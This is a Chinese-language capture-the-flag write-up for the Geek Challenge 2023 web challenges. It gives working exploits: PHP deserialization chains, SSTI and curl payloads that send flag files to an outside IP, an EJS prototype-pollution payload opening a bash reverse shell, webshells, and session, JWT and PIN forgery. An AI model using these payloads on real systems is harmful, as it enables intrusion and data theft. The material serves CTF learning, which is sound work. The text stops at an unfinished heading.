极客大挑战2023 Web方向题解wp 全

最后排名 9/2049

极客大挑战2023 Web方向题解wp 全_第1张图片

玩脱了,以为28结束,囤的一些flag没交上去。我真该死啊QAQ

EzHttp

前言:这次极客平台太安全了谷歌不给抓包,抓包用burp自带浏览器。

极客大挑战2023 Web方向题解wp 全_第2张图片

密码查看源码->robots.txt->o2takuXX’s_username_and_password.txt获得

image-20231026211341640

postman一把梭。

极客大挑战2023 Web方向题解wp 全_第3张图片

唯一要注意的就是最后要求$_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"

** S E R V E R ∗ ∗ 超全局变量保存关于报头、路径和脚本位置的信息。 ‘ _SERVER** 超全局变量保存关于报头、路径和脚本位置的信息。` SERVER超全局变量保存关于报头、路径和脚本位置的信息。_SERVER[‘HTTP_O2TAKUXX’]就是http头中的参数O2TAKUXX`。

unsign

直接给了源码:

极客大挑战2023 Web方向题解wp 全_第4张图片

简单php反序列化,链子是syc::__destruct()->lover::__invoke()->web::__get()

EXP:


highlight_file(__FILE__);
class syc
{
    public $cuit;
    public function __destruct()
    {
        echo("action!
"
); $function=$this->cuit; return $function(); } } class lover { public $yxx; public $QW; public function __invoke() { echo("invoke!
"
); return $this->yxx->QW; } } class web { public $eva1; public $interesting; public function __get($var) { echo("get!
"
); $eva1=$this->eva1; $eva1($this->interesting); } } //syc::__destruct()->lover::__invoke()->web::__get() $a=new syc(); $a->cuit=new lover(); $a->cuit->yxx=new web(); $a->cuit->yxx->eva1='system'; $a->cuit->yxx->interesting='tac /flag'; echo serialize($a); ?>

极客大挑战2023 Web方向题解wp 全_第5张图片

n00b_Upload

文件上传,简单测了一下只给传.php后缀????

同时木马可行,但是木马不给传,二分法测试应该是整段过滤。。。。

极客大挑战2023 Web方向题解wp 全_第6张图片

尝试访问uploadtest/391284_653a70260a272.php。getshell

极客大挑战2023 Web方向题解wp 全_第7张图片

easy_php

都是一些php基础绕过,不再讲了,直接给payload:

GET:

?syc=welcome%20to%20GEEK%202023!&lover=1e9
POST:

SYC[GEEK.2023=1&SYC[GEEK.2023=Happy to see you!&qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&yxx=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

极客大挑战2023 Web方向题解wp 全_第8张图片

ctf_curl

题目描述:命令执行?真的吗?

直接给了源码

极客大挑战2023 Web方向题解wp 全_第9张图片

粗略一看,断绝了curl读取文件的可能。

但是不难发现,直接给出了flag路径,而且题目描述提示不用命令执行。

查找所有curl命令的使用,发现可以使用无回显RCE中的http 信道带出文件内容:

极客大挑战2023 Web方向题解wp 全_第10张图片

payload:

?addr=xxxxxx.requestrepo.com -T /tmp/Syclover

极客大挑战2023 Web方向题解wp 全_第11张图片

可行!成功带出了flag文件/tmp/Syclover

极客大挑战2023 Web方向题解wp 全_第12张图片

flag 保卫战

题目描述:管理员为了flag不被发现,一顿操作后,自己都不知道访问的密码了 QAQ

开题是一个登录界面

极客大挑战2023 Web方向题解wp 全_第13张图片

0x01、信息搜集

未登录界面,源码里面有访客密码 和 验证密码获得flag的路由/flag,传参?pass

极客大挑战2023 Web方向题解wp 全_第14张图片

登录后的界面/upload,源码中有不可见提示csrf token 10 秒失效(由此判断我们需要用自动化脚本),源码中还有前端js源码,暴露了所有路由。

极客大挑战2023 Web方向题解wp 全_第15张图片

/file-list:列出当前已上传且未被删除的文件列表

/new-csrf-token:获取和设置新的 CSRF 令牌

极客大挑战2023 Web方向题解wp 全_第16张图片

登录后随便传一个文件,后缀自动改成了.key

极客大挑战2023 Web方向题解wp 全_第17张图片

初始jwt的密钥就是password用户的密码123456

极客大挑战2023 Web方向题解wp 全_第18张图片

看看登录后的页面,管理员密码是一直在变的,由我们上传的临时文件内容决定。

极客大挑战2023 Web方向题解wp 全_第19张图片


0x02、看所有包

重开环境。之前所有步骤都抓包看看包。

未登录的包(啥都没有)

极客大挑战2023 Web方向题解wp 全_第20张图片

登录时候的包(啥都没有,账号密码json传参)

极客大挑战2023 Web方向题解wp 全_第21张图片

登录后的包(只有jwt-token,不变的)

极客大挑战2023 Web方向题解wp 全_第22张图片

上传文件时候的包

极客大挑战2023 Web方向题解wp 全_第23张图片

访问路由/new-csrf-token获取动态csrf密钥的包(只有jwt-token,不变的)

极客大挑战2023 Web方向题解wp 全_第24张图片

访问路由/flag验证身份的包(只有jwt-token,不变的)

极客大挑战2023 Web方向题解wp 全_第25张图片


0x03、理清思路

1、可以肯定的是我们要在十秒内(csrf token有效期)上传四个及以上文件,手动上传不用考虑csrf token,因为js源码中上传时候会自动更新,就是担心30s内无法上传+验证。但是这个如果要通过自动化脚本实现很容易,同时我们可以传一次文件更新一次csrf token,确保脚本可以一直运行下去。

2、验证究竟是如何验证呢?题目源码给的提示是/flag?pass=123456,应该是在这个路由验证了而不是直接/login路由登录。

3、验证方式是什么?一开始我误以为传参?pass=四个文件内容就可以了,但是经过几小时失败,以及前文提到的jwt密钥就是password的密码123456,不难意识到jwt也是一重验证。

4、jwt如何改?前文提到的jwt密钥就是password的密码123456,虽然password的初始jwt+密码123456无法通过验证,但是我们验证admin身份还是需要?pass=四个文件内容=admin密码+用户admin,密钥admin密码1111的jwt。


0x04、自动化脚本撰写

这里有一个坑点,就是我们脚本中 获取csrf token、上传文件、读取文件列表时候附带的jwt密钥需要改改,密码还是123456,但是用户得是admin

这个也是试出来的,20:00开赛,脚本从11:00改到第二天凌晨。。。。。

具体为什么用户名要改成admin,个人暂时想法如下:

1、可行性:题目环境中jwt改了用户名没事,改了密钥就直接无效了。

2、必要性:也许用户只能读取以自己身份写入的文件,比如我password用户写入的文件,admin是无法读取的,所以对admin来说没有文件,就没有由四个文件构成的密码了。

查看脚本运行结果,验证上述必要性:

可以看到,文件确实是分用户的,JWT如果是admin用户,上传的文件名命名是admin-0xx.key,JWT如果是password用户,上传的文件名命名是password-0xx.key。(个人感觉这个是一个混淆点,一开始让我误以为文件名字意思是这个是密码文件,而不是password用户文件)

极客大挑战2023 Web方向题解wp 全_第26张图片

最后脚本如下:

#Jay17
import json
import requests
import threading

#靶机地址
url = "https://rhk4wscflc7hgds1uoth4z1xd.node.game.sycsec.com"

session = requests.session()

# 往下两行的filename是表单字段名,抓包获得。
file = {
    'filename': ('1.txt', '1', 'text/plain')  # 请求头Content-Type字段对应的值,手动抓的包里面看
}

#password用户登录的jwt,自己修改成admin用户,jwt密钥还是123456不变
jwttoken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk4MzgyNTUzfQ.iSuLQGSzXqS0OHnV6Md5i7v8pDuIVIYa1m22A6cfNP0'




# 写文件方法,不停的写,burp代理(proxies)可以看看请求包(极客不给抓包,其他比赛可以)
def write():
    while True:
        # 获取动态csrf密钥
        r = session.get(url=url + "/new-csrf-token",
                        cookies={'jwt-token': jwttoken})  # ,proxies={"http":"127.0.0.1:8080"})
        print(r.text)
        csrf = r.text
        # 上传文件
        data = {'yak-token': csrf}
        r = session.post(url=url + "/upload", data=data, files=file,
                         cookies={'jwt-token': jwttoken})  # ,proxies={"http":"127.0.0.1:8080"})
        print(r.text)


# 读文件列表、自动登录验证
def read():
    while True:
        # 读取文件
        r = session.get(url=url + "/file-list", cookies={'jwt-token': jwttoken})  # ,proxies={"http":"127.0.0.1:8080"})
        print(r.text)

        #登录验证
        #jwt是admin用户,jwt密钥是四个文件连起来内容1111
        r=session.get(url=url + "/flag?pass=1111", cookies={'jwt-token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk4MzgyNTUzfQ.PoFcmmc6hUksjK_Rtu6U647GrCiO392DeE5CU51Wx_c'})
        print()
        print(r.status_code)
        # print(r.headers)
        # print(r.cookies['jwt-token'])
        # print(r.cookies)
        print(r.text)



# 双线程,不停写不停读和验证
threads = [threading.Thread(target=write), threading.Thread(target=read)]

for t in threads:
    t.start()

最后运行脚本得到flag

极客大挑战2023 Web方向题解wp 全_第27张图片

klf_ssti

开题。

极客大挑战2023 Web方向题解wp 全_第28张图片

经过一系列信息搜集(源码,扫后台),发现我们的SSTI入口应该是/hack?klf=xxx

极客大挑战2023 Web方向题解wp 全_第29张图片

不知道是哪个语言的ssti,传入什么都返回klf别想,如{{7*7}}123。服务是由nginx支持的,盲猜Python的SSTI,先fuzz一波。

没有fuzz出过滤,但是可以发现,确实是存在SSTI,比如只传入{{时会500 Internal Server Error

image-20231101112644157

不过啥都无回显,不知道执行成功没有。。

/hack?klf={{config.__class__.__init__.__globals__['os'].popen('tac /f*').read()}}

极客大挑战2023 Web方向题解wp 全_第30张图片

先拿curl命令测一波,发现命令确实能执行成功!!!

/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023').read()}}

极客大挑战2023 Web方向题解wp 全_第31张图片

http信道带出数据,md出题人藏flag…

/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023/`ls /app/f*`').read()}}

极客大挑战2023 Web方向题解wp 全_第32张图片

/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023/`tac /app/fl4gfl4gfl4g`').read()}}

极客大挑战2023 Web方向题解wp 全_第33张图片

极客大挑战2023 Web方向题解wp 全_第34张图片

ez_remove

直接给了源码:

极客大挑战2023 Web方向题解wp 全_第35张图片


highlight_file(__FILE__);
class syc{
    public $lover;
    public function __destruct()
    {
        eval($this->lover);
    }
}

if(isset($_GET['web'])){
    if(!preg_match('/lover/i',$_GET['web'])){
        $a=unserialize($_GET['web']);
        throw new Error("快来玩快来玩~");
    }
    else{
        echo("nonono");
    }
}
?>

我们只需要绕过对lover的正则匹配和抛出错误即可。

绕过方式为十六进制+GC回收。

十六进制:PHP反序列化 | Y4tacker’s Blog (gitee.io)

O:4:"test":2:{s:4:"xxxa";s:3:"abc";s:7:"asdfrew";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"xxx\61";s:3:"abc";s:7:"asdfrew";s:3:"def";}
表示字符类型的s大写为S时,会被当成16进制解析。

GC回收可以看这篇:绕过__wakeup() 反序列化 合集_Jay 17的博客-CSDN博客

EXP:


class syc{
    public $lover;
    public function __destruct()
    {
        eval($this->lover);
    }
}
$a=new syc();
$a->lover="phpinfo();";

echo serialize($a);

?>

生成payload:

O:3:"syc":1:{s:5:"lover";s:10:"phpinfo();";}

改成如下所示,利用十六进制和GC绕过限制。

O:3:"syc":1:{S:5:"lo\76er";s:10:"phpinfo();";

极客大挑战2023 Web方向题解wp 全_第36张图片

难崩的是,这里有disable fuction。不能直接执行命令了。

image-20231101103335997

那我们起手连蚁剑,接下来讲讲怎么连蚁剑。

先写个转接头:

GET:?web=O:3:"syc":1:{S:5:"lo\76er";s:18:"assert($_POST[1]);";

POST:1=要执行的代码

极客大挑战2023 Web方向题解wp 全_第37张图片

然后连蚁剑,测试发现爆红。

极客大挑战2023 Web方向题解wp 全_第38张图片

解决办法是将https改成http。(https太安全了呜呜呜)编码器记得选base64

极客大挑战2023 Web方向题解wp 全_第39张图片

蚁剑还是很好用的,总动列出了所有可用的函数,并且蚁剑会用这些函数自动进行相关文件操作,可视化的显示给我们。

极客大挑战2023 Web方向题解wp 全_第40张图片

flag在根目录/f1ger文件中,但是直接打开不显示内容。

极客大挑战2023 Web方向题解wp 全_第41张图片

蚁剑有自带绕过功能,如果直接查看flag文件没权限,可以试试在虚拟终端cat /flag。

极客大挑战2023 Web方向题解wp 全_第42张图片

ez_path

开题。

极客大挑战2023 Web方向题解wp 全_第43张图片

给了源码

极客大挑战2023 Web方向题解wp 全_第44张图片

反编译之后是这样的:

import os, uuid
from flask import Flask, render_template, request, redirect

app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []


class Article:
    def __init__(self, article_id, title, content):
        self.article_id = article_id
        self.title = title
        self.content = content


def generate_article_id():
    return str(uuid.uuid4())


@app.route('/')
def index():
    return render_template('index.html', articles=articles)

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        article_id = generate_article_id()
        article = Article(article_id, title, content)
        articles.append(article)
        save_article(article_id, title, content)
        return redirect('/')
    else:
        return render_template('upload.html')


@app.route('/article/')
def article(article_id):
    for article in articles:
        if article.article_id == article_id:
            title = article.title
            sanitized_title = sanitize_filename(title)
            article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
            with open(article_path, 'r') as (file):
                content = file.read()
            return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)
        return render_template('error.html')  # 如果找不到对应的文章,则返回错误页面

def save_article(article_id, title, content):
    sanitized_title = sanitize_filename(title)
    article_path = ARTICLES_FOLDER + '/' + sanitized_title
    with open(article_path, 'w') as (file):
        file.write(content)




def sanitize_filename(filename):        #过滤函数,被过滤的字符都替换成下划线
    sensitive_chars = [
        ':',
        '*',
        '?',
        '"',
        '<',
        '>',
        '|',
        '.']
    for char in sensitive_chars:
        filename = filename.replace(char, '_')
    return filename


if __name__ == '__main__':
    app.run(debug=True)

继续信息搜集,查看源码发现flag应该在/f14444,同时有两个路由/home/upload

极客大挑战2023 Web方向题解wp 全_第45张图片

博客存在python控制台,有读取文件计算PIN码进控制台执行命令的可能。(可行的方法,文件都能读,不做了)

极客大挑战2023 Web方向题解wp 全_第46张图片

我们先计算PIN码来读取源文件,反编译的源码可能不全。

1.username
通过getpass.getuser()读取或者通过文件读取/etc/passwd

2.modname
通过getattr(mod,“file”,None)读取,默认值为flask.app

3.appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask

4.moddir
flask库下app.py的绝对路径、当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取,如传参的时候给个不存在的变量

5.uuidnode
mac地址的十进制,通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算

6.machine_id
机器码,每一个机器都会有自已唯一的id,(Linux下)machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup(第一行的/docker/字符串后面的内容)
一般生成pin码不对就是这错了

依次读取文件:(虽然可以直接读取flag呜呜)

1.username :root

2.modname:flask.app

3.appname:Flask

4.moddir:/usr/local/lib/python3.9/site-packages/flask/app.py

5.uuidnode:253636626821197

6.machine_id:31e70710-1d09-4cda-bc57-a7a012a89ef7docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope

计算PIN码脚本:

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'root'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.9/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '253636626821197',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup


    #'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'#  /proc/self/cgroup
    #'docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope'  #  /proc/self/cgroup
    #'31e70710-1d09-4cda-bc57-a7a012a89ef7'  #/proc/sys/kernel/random/boot_id
    '31e70710-1d09-4cda-bc57-a7a012a89ef7docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope'  #/proc/sys/kernel/random/boot_id+/proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

image-20231104111500599

笑。。。。执行不了一点,不知道为什么。

极客大挑战2023 Web方向题解wp 全_第47张图片

PIN码可行,我们做别的方法Python 中的路径穿越

参考:警惕: Python 中的路径穿越_zzzzls~的博客-CSDN博客

# os.path.join
>>> os.path.join('/home/download', '../../opt/logo.png')
/home/download/../../opt/logo.png

# pathlib
>>> pathlib.Path('/home/download') / '../../opt/logo.png'
/home/download/../../opt/logo.png

【如果某个部分为绝对路径,则之前的所有部分都会被丢弃并从绝对路径开始继续拼接】

# os.path.join
>>> os.path.join('/home/download', '/opt/logo.png')
/opt/logo.png

# pathlib
>>> pathlib.Path('/home/download') / '/opt/logo.png'
/opt/logo.png

阅读源码,源码反编译有点不全,但是看有路径拼接,猜测/home路由也是路径拼接,用到了os.path.join()或者pathlib.Path()方法,所以造成了上述python路径穿越漏洞。

存的时候应该是articles/+什么什么。读的时候以为特性直接就读后半段绝对路径了,比如/etc/passwd

所以,根目录下flag文件直接读取就好啦:

极客大挑战2023 Web方向题解wp 全_第48张图片

极客大挑战2023 Web方向题解wp 全_第49张图片

极客大挑战2023 Web方向题解wp 全_第50张图片

源码反编译有点问题,做完后去找出题人姐姐要了一下源码:

import os
import uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)

ARTICLES_FOLDER = 'articles/'
articles = []

class Article:
    def __init__(self, article_id, title, content):
        self.article_id = article_id
        self.title = title
        self.content = content

def generate_article_id():
    return str(uuid.uuid4())

@app.route('/')
def index():
    return render_template('index.html', articles=articles)

@app.route('/home')
def home():
    return render_template('home.html', articles=articles)

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        article_id = generate_article_id()
        article = Article(article_id, title, content)
        articles.append(article)
        save_article(article_id, title, content)
        return redirect('/home')
    else:
        return render_template('upload.html')

@app.route('/article/')
def article(article_id):
    for article in articles:
        if article.article_id == article_id:
            title = article.title
            sanitized_title = sanitize_filename(title)
            article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
            with open(article_path, 'r') as file:
                content = file.read()
            return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)
    return render_template('error.html')  # 如果找不到对应的文章,则返回错误页面

def save_article(article_id, title, content):
    sanitized_title = sanitize_filename(title)
    article_path = ARTICLES_FOLDER + '/' + sanitized_title
    with open(article_path, 'w') as file:
        file.write(content)


def sanitize_filename(filename):
    # 替换敏感字符为下划线 _
    sensitive_chars = [':', '*', '?', '"', '<', '>', '|','.']
    for char in sensitive_chars:
        filename = filename.replace(char, '_')
    return filename

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0',port=5000)

os.path.join()方法,猜测成立!

极客大挑战2023 Web方向题解wp 全_第51张图片

you konw flask?

二血拿下。

极客大挑战2023 Web方向题解wp 全_第52张图片

开题,源码没东西。

极客大挑战2023 Web方向题解wp 全_第53张图片

注册+登录试试,提示我们要成为教练。

极客大挑战2023 Web方向题解wp 全_第54张图片

验证身份的方式是session。

eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ7eyc3JyonNyd9fSIsInVzZXJfaWQiOjJ9.ZUOS4Q.vDzAPCyc9MEptQx5vBZLVvEnSDo

极客大挑战2023 Web方向题解wp 全_第55张图片

扫出robots.txt

极客大挑战2023 Web方向题解wp 全_第56张图片

访问/3ysd8.html得到session密钥生成方式,

极客大挑战2023 Web方向题解wp 全_第57张图片

两端不变,密钥中间三位爆破。

爆破session密钥脚本:

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys

path = "wordlist.txt"

print("Generating wordlist... ")

with open(path,"w") as f:
    #permutations with repetition
    [f.write('wanbao'+"".join(x)+'=wanbao'+"\n") for x in itertools.product('0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPLKJHGFDSAZXCVBNM', repeat=3)]   #加上前缀

#url = "http://47.115.201.35:8000/index"
#cookie_tamper = r.head(url).cookies.get_dict()['session']
cookie_tamper='eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240'
print("Got cookie: " + cookie_tamper)

print("Cracker Started...")

obj = flask_unsign.Cracker(value=cookie_tamper)

before = time.time()

with wordlist(path, parse_lines=False) as iterator:
            obj.crack(iterator)

secret = ""
if obj.secret:
    secret =obj.secret.decode()
    print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")

signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)

flask-unsign工具用法

解密session:flask-unsign --decode --cookie '获得的session'

爆破密钥:flask-unsign --unsign --cookie '获得的session'

加密session:flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

爆破指定字典:flask-unsign --unsign --cookie 'xxx --wordlist key.txt

flask-unsign工具解密session

flask-unsign --decode --cookie 'eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240'

flask-unsign工具伪造session

flask-unsign --sign --cookie "{'is_admin': True, 'name': '11', 'user_id': 2}" --secret 'wanbaoNjI=wanbao'

极客大挑战2023 Web方向题解wp 全_第58张图片

获得伪造成admin后的session。

eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6IjExIiwidXNlcl9pZCI6Mn0.ZUOXlA.-dQNWRyZdmqiw5XrR8P6IceeJDU

用admin身份就直接得到flag。

极客大挑战2023 Web方向题解wp 全_第59张图片

极客大挑战2023 Web方向题解wp 全_第60张图片

Pupyy_rce

直接给了源码。

image-20231103003925609

一眼无参数RCE,过滤了env|var|session|header

注释提示当前目录下有好康的,那就先看看当前目录的文件结构

print_r(scandir(getcwd()));

flag应该在当前目录下[email protected]文件中。

极客大挑战2023 Web方向题解wp 全_第61张图片

但是这个文件不在返回的目录数组的头尾,我们一般的payload如show_source(next(array_reverse(scandir(getcwd()))));无法读取到flag。

知识点:

array_rand(): 从数组中取出一个或者多个单元,并且返回随机条目的一个或者多个键。
array_flip():读取当前目录的键和值进行交换,如果失败返回 NULL。

array_flip()和array_rand()配合使用可随机返回当前目录下的文件名。因为其中的键可以利用随机数函数array_rand(),进行随机生成。

payload:(多发几次,随机返回当前目录下的文件内容,会返回flag的)

?var=show_source(array_rand(array_flip(scandir(getcwd()))));

极客大挑战2023 Web方向题解wp 全_第62张图片

开题,需要我们伪造身份为admin,然后访问/source路由

极客大挑战2023 Web方向题解wp 全_第63张图片

验证admin身份用的是JWT

image-20231103195330984

无法用常见方法伪造JWT,源码给了hint。

极客大挑战2023 Web方向题解wp 全_第64张图片

密钥应该就是VanZY

image-20231103195541832

极客大挑战2023 Web方向题解wp 全_第65张图片

当然,如果和我一样一开始没看见hint,我们爆破密钥也能出来,毕竟才五位数,毕竟一晚上挂机就行(难崩

极客大挑战2023 Web方向题解wp 全_第66张图片

成功伪造成admin身份后返回了源码:

极客大挑战2023 Web方向题解wp 全_第67张图片

const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
const bodyParser = require('body-parser')
const path = require('path');
const jwt_secret = "VanZY";
const cookieParser = require('cookie-parser');
const putil_merge = require("putil-merge")
app.set('views', './views');
app.set('view engine', 'ejs');
app.use(cookieParser());
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
var Super = {};
var safecode = function (code) {
    let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|stdout|Function|setInterval|setTimeout|var|\+|\*/ig;
    return !validInput.test(code);
};
app.all('/code', (req, res) => {
    res.type('html');
    if (req.method == "POST" && req.body) {
        putil_merge({}, req.body, {deep: true});
    }
    res.send("welcome to code");
});
app.all('/hint', (req, res) => {
    res.type('html');
    res.send("I heard that the challenge maker likes to use his own id as secret_key");
});
app.get('/source', (req, res) => {
    res.type('html');
    var auth = req.cookies.auth;
    jwt.verify(auth, jwt_secret, function (err, decoded) {
        try {
            if (decoded.user === 'admin') {
                res.sendFile(path.join(__dirname + '/index.js'));
            } else {
                res.send('you are not admin ');
            }
        } catch {
            res.send("Fuck you Hacker!!!")
        }
    });
});
app.all('/create', (req, res) => {
    res.type('html');
    if (!req.body.name || req.body.name === undefined || req.body.name === null) {
        res.send("please input name");
    } else {
        if (Super['userrole'] === 'Superadmin') {
            res.render('index', req.body);
        } else {
            if (!safecode(req.body.name)) {
                res.send("你在做什么?快停下!!!")
            } else {
                res.render('index', {name: req.body.name});
            }
        }
    }
});
app.get('/', (req, res) => {
    res.type('html');
    var token = jwt.sign({'user': 'guest'}, jwt_secret, {algorithm: 'HS256'});
    res.cookie('auth ', token);
    res.end('Only admin can get source in /source');
});
app.listen(3000, () => console.log('Server started on port 3000'));

核心代码:

var safecode = function (code) {       //过滤函数
    //使用了 i(不区分大小写)和 g(全局搜索)标志
    let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|Function|setInterval|setTimeout|var|\+|\*/ig;
    return !validInput.test(code);
};

app.all('/code', (req, res) => {
    res.type('html');
    if (req.method == "POST" && req.body) {
        //污染基类入口
        putil_merge({}, req.body, {deep: true});
    }
    res.send("welcome to code");
});

app.all('/create', (req, res) => {
    res.type('html');
    if (!req.body.name || req.body.name === undefined || req.body.name === null) {
        res.send("please input name");
    } else {
        if (Super['userrole'] === 'Superadmin') {
            //渲染,原型链污染造成命令执行,反弹shell
            res.render('index', req.body);
        } else {
            if (!safecode(req.body.name)) {
                res.send("你在做什么?快停下!!!")
            } else {
                res.render('index', {name: req.body.name});
            }
        }
    }
});

思路很简单,我们首先在/code路由污染Super的父类即基类Object,使基类Object的属性userrole满足条件。在/create路由判断时候,由于Super类找不到属性userrole,会去找基类Object的属性userrole

res.render('index', req.body);处执行渲染,req.body可控,直接打ejs原型链污染的payload即可RCE。

流程是在/code路由污染完,去/create路由渲染,解析了被污染的,RCE。

获取基类Object方法:

极客大挑战2023 Web方向题解wp 全_第68张图片

/code路由下payload。

{"constructor":{"prototype":{"settings":{"view options":{"escapeFunction":"console.log;this.global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 <&1\"');","client":"true"}},"userrole":"Superadmin"}}}

/create路由下payload。

{"name":"Jay17"}

vps收到shell后,在根目录下找到flag。

极客大挑战2023 Web方向题解wp 全_第69张图片

famale_imp_l0ve

开题,是一个文件上传界面。测了一下只能上传.zip后缀。

极客大挑战2023 Web方向题解wp 全_第70张图片

查看源码,发现一个包含功能的文件/include.php

极客大挑战2023 Web方向题解wp 全_第71张图片

/include.php源码如下:

极客大挑战2023 Web方向题解wp 全_第72张图片


//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
    include($file);
}
?>

可以%00截断,但是无法读取文件。

极客大挑战2023 Web方向题解wp 全_第73张图片

换种方法,我们用phar://协议。phar://协议可以读取任意后缀压缩包中的内容,如.zip

条件:
1、php.ini里面,phar.readonly改成Off,去掉前面的分号。
2、有参数是 string形式的文件名称 ($filename)的函数
3、能上传任意后缀(jpg都行)的phar包。
4、有可利用的文件操作函数,并控制了协议头,使用phar协议解析

**用法例子:**filesize(“phar://xxx.phar”);

先上传一个1.zip文件,其中包含一句话马,马文件后缀是.jpg

image-20231104122403421

极客大挑战2023 Web方向题解wp 全_第74张图片

payload:

GET:
/include.php?file=phar:///var/www/upload/1.zip/1.jpg

POST:
1=system('tac /flag');

极客大挑战2023 Web方向题解wp 全_第75张图片

change_it

